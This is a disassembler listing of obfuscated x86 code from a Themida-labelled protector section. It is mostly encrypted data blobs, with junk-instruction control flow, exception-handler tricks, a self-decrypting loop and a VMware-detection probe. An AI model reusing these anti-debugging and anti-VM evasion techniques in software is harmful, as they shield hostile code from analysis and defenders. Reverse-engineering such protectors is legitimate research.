		dd 16042444h, 47000000h, 8BD1C357h, 58E0F0Eh, 0BF000000h
		dd 35FE47D5h, 57AFBF66h, 0FFFF883h, 48285h, 0C99D8900h
		dd 8906102Fh, 102E01B5h, 9285FF06h, 8B061305h, 10105595h
		dd 92BD8306h, 2061305h,	389840Fh, 858D0000h, 5B243Bh, 8951D0FFh
		dd 102DD19Dh, 0AE85F06h, 9D000000h, 52D4A61h, 0F67C1CAFh
		dd 858D5A6Fh, 5B1E8Eh, 81D0B70Fh, 6DFD82F1h, 6AD0FF61h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0BB7EC351h, 0B0E1E1C0h, 5F059D71h, 3DBA8BB9h
		dd 8BC08B28h, 1010A58Dh, 0EA816606h, 0BD839838h, 610158Dh
		dd 83097500h, 100095BDh, 19740006h, 0C08B5350h,	7D8B8h
		dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h
		dd 61000h, 53501774h, 7D8B8h, 65858900h, 8D06100Eh, 12B5049Dh
		dd 5BD3FF06h, 0D59D0958h, 0B106100Dh, 6AC08B14h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 1B4C352h, 559EE0E6h,	0E1816691h, 3F684B06h, 66000F00h
		dd 6ACE8Bh, 11870Fh, 0CE90000h,	75000000h, 0F52F6BACh
		dd 4414C3F5h, 6A5AE5F0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0DD4B8657h, 10A995FFh
		dd 0F88B0610h, 6AC085h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 98AF01C3h, 774DE174h, 81735F9Bh
		dd 0C88AB2D9h, 0A8858914h, 8B0612FAh, 101B1195h, 1FF6806h
		dd 0BF66000Fh, 0BD834953h, 61022E5h, 13840F00h,	81000000h
		dd 0E86A00EAh, 5858D1Bh, 0E90612FBh, 1Ch, 858DB7B2h, 612FADBh
		dd 0FE9h, 1162BF00h, 46F18902h,	8995AE96h, 0EE5DB842h
		dd 81666050h, 894AAFEEh, 100E958Dh, 0B5FF6106h,	612FAA8h
		dd 11A1BD8Bh, 95FF0610h, 612FAA0h, 0BF0FCE8Bh, 0AC8589FAh
		dd 0E90612FAh, 9, 779D1B4Bh, 19CE9EEBh,	0D85C761h, 6102Ah
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D697C355h, 9AAE9575h,	2D19BAC5h
		dd 0BD837C4Eh, 612FAACh, 62840F00h, 8B000001h, 10228D95h
		dd 8A858D06h, 500612FDh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0DDC35646h, 0ABA71F97h, 9501E5C1h, 6100A29h
		dd 3C18166h, 8B016ABFh,	0ACB5FFD0h, 0F0612FAh, 688h, 35850100h
		dd 0FF061016h, 12FAA495h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 5D8BFEC5h
		dd 70B1600Fh, 0B5FF61F5h, 612FAACh, 79D952Bh, 95FF0610h
		dd 61016A5h, 0EE9h, 7BE25000h, 522CC7CFh, 0E14DF3D7h, 0FAD5B24h
		dd 48Fh, 0CCBA6600h, 1FF686Ah, 8531000Fh, 610057Dh, 22E5BD83h
		dd 0F000610h, 1784h, 5858D00h, 8B0612FBh, 0C4BF66CFh, 2DE974h
		dd 95890000h, 6103365h,	0FADB858Dh, 0FE80612h, 0AB000000h
		dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 7E962D6h,	2D000000h
		dd 3ABD299Dh, 505F7D57h, 2129958Bh, 0B5FF0610h,	612FAA8h
		dd 845958Bh, 9D090610h,	6101D05h, 0FAA095FFh, 0F520612h
		dd 8Ch,	85895A00h, 612FAACh, 0A41DB966h, 31599D29h, 0B5FF0610h
		dd 612FAACh, 810BBA66h,	0FA9C95FFh, 8D8B0612h, 6102D21h
		dd 0FAACB5FFh, 95030612h, 6100561h, 16A595FFh, 0B70F0610h
		dd 0F763E9FEh, 0FFF5FFFFh, 1305F5B5h, 0D3B70F06h, 2DB995FFh
		dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0DDCB47C3h, 2771BD8Bh, 858B0610h,	6100A0Dh
		dd 13B18D8Bh, 6AE90610h, 89000006h, 1021D5B5h, 0AAB58D06h
		dd 520612FDh, 15A98D8Bh, 8D5A0610h, 12AB5E85h, 8430BF06h
		dd 0D0FF23E8h, 295DBD8Bh, 6A0610h, 95FFCA8Bh, 61009ADh
		dd 8BFABF0Fh, 53006AF3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 7F470679h, 0AE9h,	8BB6A900h, 0E0895315h
		dd 8DA7D01Bh, 12AB5E85h, 0DAE98106h, 0FF794EBCh, 0A2E180D0h
		dd 6660006Ah, 0B638D381h, 241D9D89h, 0FF610610h, 1009AD95h
		dd 1DD98106h, 8B06676Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0F05D12FAh, 0F9BD8BE4h
		dd 83061018h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535019h, 7D9B8C0h,	85890000h, 6100E65h, 0B8159D8Dh
		dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h,	7D9B853h
		dd 85890000h, 6100E65h,	0B5049D8Dh, 0D3FF0612h,	6A585Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0F07F87C3h, 60CD08D6h, 8BFEBF0Fh, 10057D9Dh,	8E96106h
		dd 13000000h, 5DDB8526h, 8B53C55Fh, 3D8D8BC0h, 5006101Bh
		dd 0CF20F6BAh, 6AD88B2Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0DC5BC353h,	0DE9h
		dd 8C20FE00h, 0F2C36B70h, 97CAD5F6h, 53F58C32h,	0CB59D8Dh
		dd 38B0610h, 438B0389h,	50438950h, 58E9D8Dh, 38B0613h
		dd 8B5B0389h, 10294195h, 25B96606h, 40EA8128h, 6A41A5A0h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A398D404h, 858D95FDh, 613058Eh,	3850Fh
		dd 0B70F0000h, 6A50D7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 6F7895C3h, 8A484CF1h, 0E5B966F5h
		dd 606AF514h, 7E9h, 56C63000h, 13A8F47h, 0CB5858Dh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BEF8CC3h, 102F91BDh, 0C5B15006h, 830F006Ah,	6, 29499589h
		dd 6A0610h, 180068F9h, 0BD890000h, 6103109h, 9E9h, 19113B00h
		dd 795630D2h, 6A539307h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 1500C352h, 0FFF9E88Ah
		dd 100A7195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 877C5BF5h, 0F7FA2F2Ah, 2ECD9D89h
		dd 8E0F0610h, 0Ch, 68F0Fh, 0B5890000h, 6101635h, 162195FFh
		dd 0CE8B0610h, 5F5B5FFh, 6E90613h, 6B000000h, 7FF99F72h
		dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 9ACBC356h, 0C8FC970h
		dd 0CEBF0FE7h, 22258D89h, 858D0610h, 6100CB5h, 0F58589h
		dd 408B0610h, 3D958918h, 0C7061013h, 10059985h,	6, 85895300h
		dd 6101649h, 0E5BD835Ah, 61022h, 1C840Fh, 9D890000h, 6102DA5h
		dd 8C3Dh, 10830F00h, 8B000002h,	1027698Dh, 0DE906h, 983D0000h
		dd 0F000000h, 1FA83h, 8DCE8A00h, 5B243B85h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD8B5C98h, 6101DE5h, 0C781D0FFh, 5D752AD3h,	1E8E858Dh
		dd 840F005Bh, 3
		dd 0FFFE8B66h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 32622616h, 8B419C69h
		dd 1004E595h, 6AC08B06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0C1BBC355h,	1834D295h
		dd 68F0F52h, 3000000h, 100B758Dh, 0BD835A06h, 610158Dh
		dd 83097500h, 100095BDh, 19740006h, 0C08B5350h,	0BC6B8h
		dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h
		dd 61000h, 53501774h, 0BC6B8h, 65858900h, 8D06100Eh, 12B5049Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0AD4FDFE9h, 0AECF6CAAh, 0F181BAACh
		dd 5394BE2Fh, 11659D01h, 0C08B0610h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0F2C35242h,	0F883CE8Ah, 45850FFFh
		dd 0E8000000h, 10h, 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh
		dd 30959D31h, 0C75A0610h, 10282D85h, 6,	0C2F8BA00h, 33E955C4h
		dd 57000001h, 0E95FD78Ah, 49h, 6830Fh, 8D8B0000h, 61006FDh
		dd 0F01F883h, 3485h, 13E900h, 6B8F0000h, 1D6E8700h, 0ED7EAD9Bh
		dd 12D329BBh, 6C90CBDCh, 99958B4Dh, 0E9061022h,	149h, 0CE9h
		dd 84F30000h, 0DE423FB8h, 12A3F7BEh, 0F1E7E98Ch, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0E34AF7C3h, 60554CCCh, 1FF99D89h, 8B660610h,	816661CBh
		dd 8B2092C1h, 0D18166C0h, 0BD83F0F8h, 610158Dh,	83097500h
		dd 100095BDh, 19740006h, 0C08B5350h, 7DDB8h, 65858900h
		dd 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h, 61000h
		dd 53501774h, 7DDB8h, 65858900h, 8D06100Eh, 12B5049Dh
		dd 5BD3FF06h, 159D2958h, 89061005h, 1016858Dh, 6AC08B06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0F7AC355h, 566E8D06h, 68E0Fh, 0BD8B0000h
		dd 6100B41h, 0CBBF0F59h, 267E9h, 9E800h, 0F29C0000h, 0E34FF5A9h
		dd 89701C03h, 101491B5h, 858D5A06h, 6130392h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9EC35040h, 1FA8FA26h
		dd 8BE1194Eh, 8A8589FBh, 89061305h, 10012585h, 0FE806h
		dd 0C1D80000h, 6E292C94h, 24D470CFh, 7E3653ECh,	8C5ABF20h
		dd 0E95F3B1Ch, 62h, 9A858DF8h, 8A061301h, 6A40F5h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 8AB59AC3h, 0AF95FCD0h, 8589FA8Bh, 613058Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DBC35141h, 4B6F92AFh
		dd 0F10CA74h, 584h, 0D7816600h,	346A4287h, 14E9858Dh, 0FF500610h
		dd 13058AB5h, 0FF006A06h, 1012F595h, 7F88306h, 168840Fh
		dd 8C660000h, 4C3F6DBh,	102850Fh, 85C60000h, 61023E5h
		dd 0B8526856h, 0B5FF9CA8h, 6101499h, 3A32858Dh,	0D0FF0610h
		dd 68046Ah, 6A000010h, 0FF006A64h, 0FD8589D0h, 0C6061305h
		dd 1023E585h, 9B684706h, 0FFEC18ACh, 101499B5h,	32858D06h
		dd 0FF06103Ah, 8BD0FFD0h, 0E585C6F0h, 4F061023h, 2F266168h
		dd 61B5FFC6h, 8D06102Eh, 103A3285h, 8DD0FF06h, 1305F99Dh
		dd 286A5306h, 85D0FF56h, 0C60075C0h, 1023E585h,	98684106h
		dd 0FFDB8764h, 102E61B5h, 32858D06h, 0FF06103Ah, 168589D0h
		dd 0C6061306h, 1023E585h, 0A4684C06h, 0FF80A4E7h, 102E61B5h
		dd 32858D06h, 0FF06103Ah, 0FD9D8BD0h, 8D061305h, 8D53045Bh
		dd 1306029Dh, 6A5306h, 9D8BD0FFh, 61305FDh, 103C7h, 43C70000h
		dd 20Ch, 619D8B00h, 0C7061011h,	1001E585h, 6, 6A006A00h
		dd 8B006A00h, 1305FD9Dh, 6A5306h, 5F9B5FFh, 95FF0613h
		dd 6130616h, 23E585C6h,	68450610h, 92A5F797h, 20E5B5FFh
		dd 858D0610h, 6103A32h,	6AD0FFh, 0D0FF026Ah, 0F6DB8C66h
		dd 327504C3h, 5FD9D8Bh,	43C70613h, 0Ch,	6A006A00h, 0FD9D8B00h
		dd 53061305h, 0B5FF006Ah, 61305F9h, 61695FFh, 0B5FF0613h
		dd 61305F9h, 162195FFh,	6A0610h, 9AD95FFh, 0B5890610h
		dd 6100625h, 61F38B60h,	3B04858Dh, 95290613h, 61012F1h
		dd 0EA816050h, 240648A4h, 35FF6461h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		xor	[ebp+6101455h],	ecx
		cmp	dword ptr [ebp+6103105h], 0
		jz	loc_57EED9
		mov	ecx, [ebp+6102885h]
		cld
		cmp	dword ptr [ebp+6102209h], 1
		jnz	loc_57EED9
		mov	cx, bx
		mov	[ebp+6100551h],	edi
		cmp	byte ptr [ebp+6130A16h], 0
		jnz	loc_57EED9
		push	0
		push	ebx
		call	sub_57EE93
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57EE93	proc near		; CODE XREF: Themida_:0057EE8Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_57EE93	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 387FFFC5h, 0FE93Eh, 2E300000h, 838DAD98h, 877BDAD7h
		dd 0C9766C23h, 8C0F6045h, 5, 5BF38166h,	61605235h, 84E9615Fh
		dd 29000001h, 100C118Dh
; ---------------------------------------------------------------------------
		push	es


loc_57EED9:				; CODE XREF: Themida_:0057EE58j
					; Themida_:0057EE6Cj ...
		xor	ebx, ebx
		push	0
		push	edx
		call	sub_57EEE6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57EEE6	proc near		; CODE XREF: Themida_:0057EEDEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_57EEE6	endp

; ---------------------------------------------------------------------------
		dw 47BDh
		dd 5E97Ch, 92E30000h, 33C9773Bh, 0A42FB9C0h, 0BD8B76C1h
		dd 610319Dh, 73F0F40h, 58F640Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[ebp+6100A75h],	edi
		mov	ecx, edi
		sub	edx, [ebp+6101FCDh]
		stc
		cmp	ebx, 0FFFFFFFFh
		jz	loc_57EF60
		mov	edi, [ebp+6101A85h]
		jmp	loc_57F04D
; ---------------------------------------------------------------------------
		call	loc_57EF59
		retn	51C2h
; ---------------------------------------------------------------------------
		dw 0B90Bh
		dd 5AD351FAh, 0D7627D50h, 0F2F87003h
		db 2Dh
; ---------------------------------------------------------------------------


loc_57EF59:				; CODE XREF: Themida_:0057EF42p
		xor	edi, [ebp+6102809h]
		pop	edi


loc_57EF60:				; CODE XREF: Themida_:0057EF31j
		jmp	loc_57EFE6
; ---------------------------------------------------------------------------
		jno	loc_57EF6F
		mov	dx, 0A294h


loc_57EF6F:				; CODE XREF: Themida_:0057EF65j
		mov	ecx, [esp+0Ch]
		mov	dword ptr [ecx+0A4h], 0FFFFFFFFh
		add	dword ptr [ecx+0B8h], 4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6133B26h
		mov	eax, [ebx+0B8h]
		lea	eax, [ebp+6133BECh]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		and	cl, 56h
		pusha
		sub	si, 399Ch
		add	[ebp+6100151h],	edx
		popa
		push	0
		push	ebx
		call	sub_57EFC9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57EFC9	proc near		; CODE XREF: Themida_:0057EFC1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57EFC9	endp

; ---------------------------------------------------------------------------
		db 48h,	0D6h, 50h
		dd 0EF9E5AF9h, 4D59D89h
; ---------------------------------------------------------------------------
		adc	[esi], al


loc_57EFE6:				; CODE XREF: Themida_:loc_57EF60j
		lea	eax, [ebp+6133B1Ch]
		xor	cx, 0C0A9h
		push	eax
		mov	dh, 9Eh
		push	large dword ptr	fs:0
		jbe	loc_57F007
		sub	[ebp+610201Dh],	edi


loc_57F007:				; CODE XREF: Themida_:0057EFFBj
		mov	large fs:0, esp
		jmp	loc_57F025
; ---------------------------------------------------------------------------
		db 0CDh
		db 0CCh
; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, esi
		mov	esi, 497DA17Fh
		add	[ecx], esp
		popf
		xor	eax, 10568921h
		push	ds


loc_57F025:				; CODE XREF: Themida_:0057F00Ej
		mov	ecx, 0Ah
		mov	eax, 4855D704h
		add	eax, 0DF78164h
		mov	ebx, 8685D465h
		mov	edx, 34B640h
		sub	edx, 345FE8h
		in	eax, dx
		cmp	ebx, 564D5868h
		jnz	short loc_57F057


loc_57F04D:				; CODE XREF: Themida_:0057EF3Dj
		mov	dword ptr [ebp+6102D11h], 1


loc_57F057:				; CODE XREF: Themida_:0057F04Bj
		pop	large dword ptr	fs:0
		add	esp, 4
		cmc
		movsx	ecx, bx
		mov	eax, eax
		xor	cx, 0F8D9h
		mov	edi, [ebp+6100BC1h]
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_57F084
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57F09D


loc_57F084:				; CODE XREF: Themida_:0057F079j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+610132Dh],	eax
		lea	ebx, [ebp+612B87Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_57F09D:				; CODE XREF: Themida_:0057F082j
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57F0BD
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+610132Dh],	eax
		lea	ebx, [ebp+612B51Dh]
		call	ebx
		pop	ebx
		pop	eax


loc_57F0BD:				; CODE XREF: Themida_:0057F0A4j
		mov	dx, si
		mov	[ebp+61005D9h],	eax
		mov	edx, ebx
		mov	eax, eax
		jmp	loc_57F216
; ---------------------------------------------------------------------------
		db 4
		dd 31000000h, 3031392Eh, 7 dup(0)
		db    0
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_57F216:				; CODE XREF: Themida_:0057F0CAj
		cmp	dword ptr [ebp+61015BDh], 0
		jz	loc_57F350
		lea	eax, [ebp+612B334h]
		push	eax
		lea	eax, [ebp+612B29Eh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+612B344h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C6Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B2B2h]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C72h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B2C4h]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C7Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B311h]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C86h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B32Fh]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C82h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B318h]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C76h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B320h]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		lea	eax, [ebp+6133C64h]
		push	eax
		lea	eax, [ebp+6133C7Ah]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+612B327h]
		push	eax
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+6101451h]
		push	dword ptr [ebp+612B334h]
		call	dword ptr [ebp+610058Dh]
		jmp	loc_57F3F2
; ---------------------------------------------------------------------------


loc_57F350:				; CODE XREF: Themida_:0057F21Dj
		cmp	dword ptr [ebp+6100959h], 0
		jz	loc_57F3F2
		cmp	dword ptr [ebp+6102209h], 0
		jnz	loc_57F37B
		mov	edx, [ebp+6102955h]
		add	edx, 1CF8h
		jmp	loc_57F38A
; ---------------------------------------------------------------------------


loc_57F37B:				; CODE XREF: Themida_:0057F364j
		lea	edx, [ebp+6100CB5h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_57F38A:				; CODE XREF: Themida_:0057F376j
		mov	[ebp+6100701h],	edx
		cmp	dword ptr [ebp+6100701h], 0
		jz	loc_57F3F2
		mov	ebx, [ebp+6100701h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+6133C6Eh],	eax
		mov	ebx, [ebp+6100701h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+6133C72h],	eax
		mov	ebx, [ebp+6100701h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+6133C7Eh],	eax
		mov	ebx, [ebp+6100701h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+6133C82h],	eax
		mov	ebx, [ebp+6100701h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+6133C76h],	eax


loc_57F3F2:				; CODE XREF: Themida_:0057F34Bj
					; Themida_:0057F357j ...
		cmp	dword ptr [ebp+61015BDh], 0
		jnz	loc_57F40C
		cmp	dword ptr [ebp+6100959h], 0
		jz	loc_57F474


loc_57F40C:				; CODE XREF: Themida_:0057F3F9j
		push	dword ptr [ebp+6133C86h]
		push	dword ptr [ebp+6133C7Ah]
		push	dword ptr [ebp+6133C76h]
		push	dword ptr [ebp+6133C82h]
		push	dword ptr [ebp+6133C7Eh]
		push	dword ptr [ebp+6133C72h]
		push	dword ptr [ebp+6133C6Eh]
		lea	eax, [ebp+6133C68h]
		push	eax
		lea	eax, [ebp+6133CA0h]
		push	eax
		lea	eax, [ebp+6102B01h]
		push	eax
		call	dword ptr [ebp+6100251h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+6133C8Ah]
		push	eax
		lea	eax, [ebp+6102B01h]
		push	eax
		push	0
		call	dword ptr [ebp+61012F5h]
		push	1
		call	dword ptr [ebp+61009ADh]


loc_57F474:				; CODE XREF: Themida_:0057F406j
		mov	eax, ecx
		call	loc_57F486
		scasb
		push	ebp
		loope	loc_57F4DB
		mov	dh, 0E0h
; ---------------------------------------------------------------------------
		db 8Eh,	73h, 0E4h
		db 27h,	0E9h
; ---------------------------------------------------------------------------


loc_57F486:				; CODE XREF: Themida_:0057F476p
		jl	loc_57F497
		pusha
		and	dh, 0B8h
		adc	ecx, 5B91BA74h
		popa


loc_57F497:				; CODE XREF: Themida_:loc_57F486j
		pop	edi
		pusha
		or	ch, 6Ah
		sbb	ax, 9762h
		popa
		add	edi, 5F48h
		xor	eax, eax
		add	dh, 0DEh


loc_57F4AD:				; CODE XREF: Themida_:0057F530j
		push	dword ptr [eax+edi]
		jmp	loc_57F4C4
; ---------------------------------------------------------------------------
		db 0E9h, 0B6h, 0CBh
		dd 990EEF2h, 55251F25h,	0B907AFB6h
; ---------------------------------------------------------------------------


loc_57F4C4:				; CODE XREF: Themida_:0057F4B0j
		pop	ecx
		xor	bx, 1358h
		sub	ecx, 1021945Fh
		mov	si, 5D1Eh
		xor	ecx, 58AB8274h
		push	eax


loc_57F4DB:				; CODE XREF: Themida_:0057F47Dj
		jmp	loc_57F4E6
; ---------------------------------------------------------------------------
		mov	dl, 0E4h
		test	bl, bl
		mov	dl, 0B6h


loc_57F4E6:				; CODE XREF: Themida_:loc_57F4DBj
		pop	ebx
		xor	ecx, 65CAFBEEh
		cmc
		mov	[edi+eax], ecx
		sbb	bl, 51h
		xor	bh, 38h
		sub	eax, 2
		and	ebx, 0FB8E10Bh
		dec	eax
		dec	eax
		mov	dx, si		; CODE XREF: Themida_:0057F54Cj
		cmp	eax, 0FFFFA17Ch
		jnz	loc_57F52C
		push	ebx
		mov	bx, si
		pop	edx
		jmp	loc_57F543
; ---------------------------------------------------------------------------
		db 0AFh
		dd 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 76413D18h
; ---------------------------------------------------------------------------


loc_57F52C:				; CODE XREF: Themida_:0057F50Bj
		mov	dx, 0BBADh
		jmp	loc_57F4AD
; ---------------------------------------------------------------------------
		db 0E6h, 88h, 0Ch
; ---------------------------------------------------------------------------
		mov	fs, di
		cmp	ds:352D7A32h, ebp
		mov	cl, 71h
		lodsb


loc_57F543:				; CODE XREF: Themida_:0057F516j
		pusha
		mov	dx, di
		call	sub_57F55F
		repne jecxz short near ptr loc_57F502+1
		jp	short loc_57F5B0
		sbb	[edx], dl
		mov	ds:2EBAFC7Fh, eax
		retn	0E05h		; CODE XREF: sub_57F55F+Dj
; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------
		movsb
		add	ebp, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_57F55F	proc near		; CODE XREF: Themida_:0057F547p
		call	near ptr loc_57F576+1
		test	[ebx+2884E302h], esi
		daa
		insd
		jns	short near ptr locret_57F558+2
		push	esi
		pop	ebp
		insb
		sub	[edi-15h], bh
		db	26h
		in	eax, dx


loc_57F576:				; CODE XREF: sub_57F55Fp
		rep sbb	dx, 0FB2Dh
sub_57F55F	endp ; sp-analysis failed

		pop	ecx
		pop	edx
		mov	eax, eax
		push	0
		push	edx
		call	sub_57F58B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F58B	proc near		; CODE XREF: Themida_:0057F583p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_57F58B	endp

; ---------------------------------------------------------------------------
		db 0EFh
		dd 0AD1C0E51h, 83F08B29h, 10158DBDh, 9750006h, 95BD83h
; ---------------------------------------------------------------------------


loc_57F5B0:				; CODE XREF: Themida_:0057F54Fj
		adc	[esi], al
		add	[ecx+ebx+50h], dh
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B815h]
		call	ebx
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_57F5EE
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B504h]
		call	ebx
		pop	ebx
		pop	eax


loc_57F5EE:				; CODE XREF: Themida_:0057F5D5j
		and	cl, 0Fh
		push	0
		push	edx
		call	sub_57F5FC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F5FC	proc near		; CODE XREF: Themida_:0057F5F4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_57F5FC	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		xor	al, 0BCh
		db	36h
		jno	short loc_57F63D
		xchg	eax, ebp
		test	[edx-0Bh], ch
		mov	cx, 4C1Dh
		mov	eax, eax
		movsx	esi, ax
		cmp	dword ptr [ebp+6103105h], 0
		jz	loc_57F643
		jmp	loc_57F638
; ---------------------------------------------------------------------------
		db 48h,	0C0h, 0B4h
		dd 60E70F41h
; ---------------------------------------------------------------------------


loc_57F638:				; CODE XREF: Themida_:0057F62Cj
